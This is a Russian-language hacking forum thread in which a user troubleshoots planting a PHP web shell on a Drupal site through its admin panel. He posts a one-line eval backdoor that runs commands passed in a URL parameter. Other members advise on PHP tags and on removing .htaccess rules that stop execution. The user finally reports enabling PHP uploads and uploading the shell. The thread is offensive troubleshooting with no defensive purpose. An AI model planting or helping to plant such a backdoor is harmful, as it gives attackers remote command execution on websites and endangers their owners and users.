Drupal шелл

Discussion in 'Веб-уязвимости' started by Hapk, 9 Dec 2013.

Thread Status:
Not open for further replies.
  1. Hapk

    Hapk Banned

    Joined:
    3 Jun 2011
    Messages:
    329
    Likes Received:
    42
    Reputations:
    -5
    подскажите почему так?
    создаю страниц добавляю код(ну как всё обычно)
    в Формат ввода выбираю php
    потом это всё сохраняю
    и код шелла мне показывается на страничке как просто текст
    в чём может быть проблема?
     
  2. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,709
    Likes Received:
    405
    Reputations:
    196
    Ты код обрамил тегами <?php ?>?
     
    1 person likes this.
  3. Hapk

    Hapk Banned

    Joined:
    3 Jun 2011
    Messages:
    329
    Likes Received:
    42
    Reputations:
    -5
    вот такой добавлял
    <?php eval($_GET[cmd]); ?>
     
  4. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,654
    Likes Received:
    173
    Reputations:
    75
    значит в настройках хтаккеса указано что пхп в данной дериктории будет выполнятся как тхт
     
  5. Hapk

    Hapk Banned

    Joined:
    3 Jun 2011
    Messages:
    329
    Likes Received:
    42
    Reputations:
    -5
    а как быть? есть ли решение?
     
  6. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,654
    Likes Received:
    173
    Reputations:
    75
    удалить настройку из хтаккесс
     
  7. Hapk

    Hapk Banned

    Joined:
    3 Jun 2011
    Messages:
    329
    Likes Received:
    42
    Reputations:
    -5
    А как это сделать через админку?
     
  8. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,654
    Likes Received:
    173
    Reputations:
    75
    ты чё тупишь? через админку у тебя можно файлы редачить?? или чё? если можно то через админку, нет - через шелл
     
  9. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,709
    Likes Received:
    405
    Reputations:
    196
    Он не заливает шелл в директорию, он исполняет код в страницах. Проблема не в этом.
     
  10. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    1,091
    Likes Received:
    526
    Reputations:
    173
    если припрёт могу глянуть, в ЛС напишешь
     
  11. Hapk

    Hapk Banned

    Joined:
    3 Jun 2011
    Messages:
    329
    Likes Received:
    42
    Reputations:
    -5
    Ты про меня? если может то давай в icq
     
  12. Hapk

    Hapk Banned

    Joined:
    3 Jun 2011
    Messages:
    329
    Likes Received:
    42
    Reputations:
    -5
    добавил чтоб можно было закачивать php
    но при прикрепление файла выскакивает вот такая ошибка
    Произошла HTTP ошибка 0. \n/upload/js/
     
  13. Hapk

    Hapk Banned

    Joined:
    3 Jun 2011
    Messages:
    329
    Likes Received:
    42
    Reputations:
    -5
    всё залился спасибо OxoTnik
     
Loading...
Thread Status:
Not open for further replies.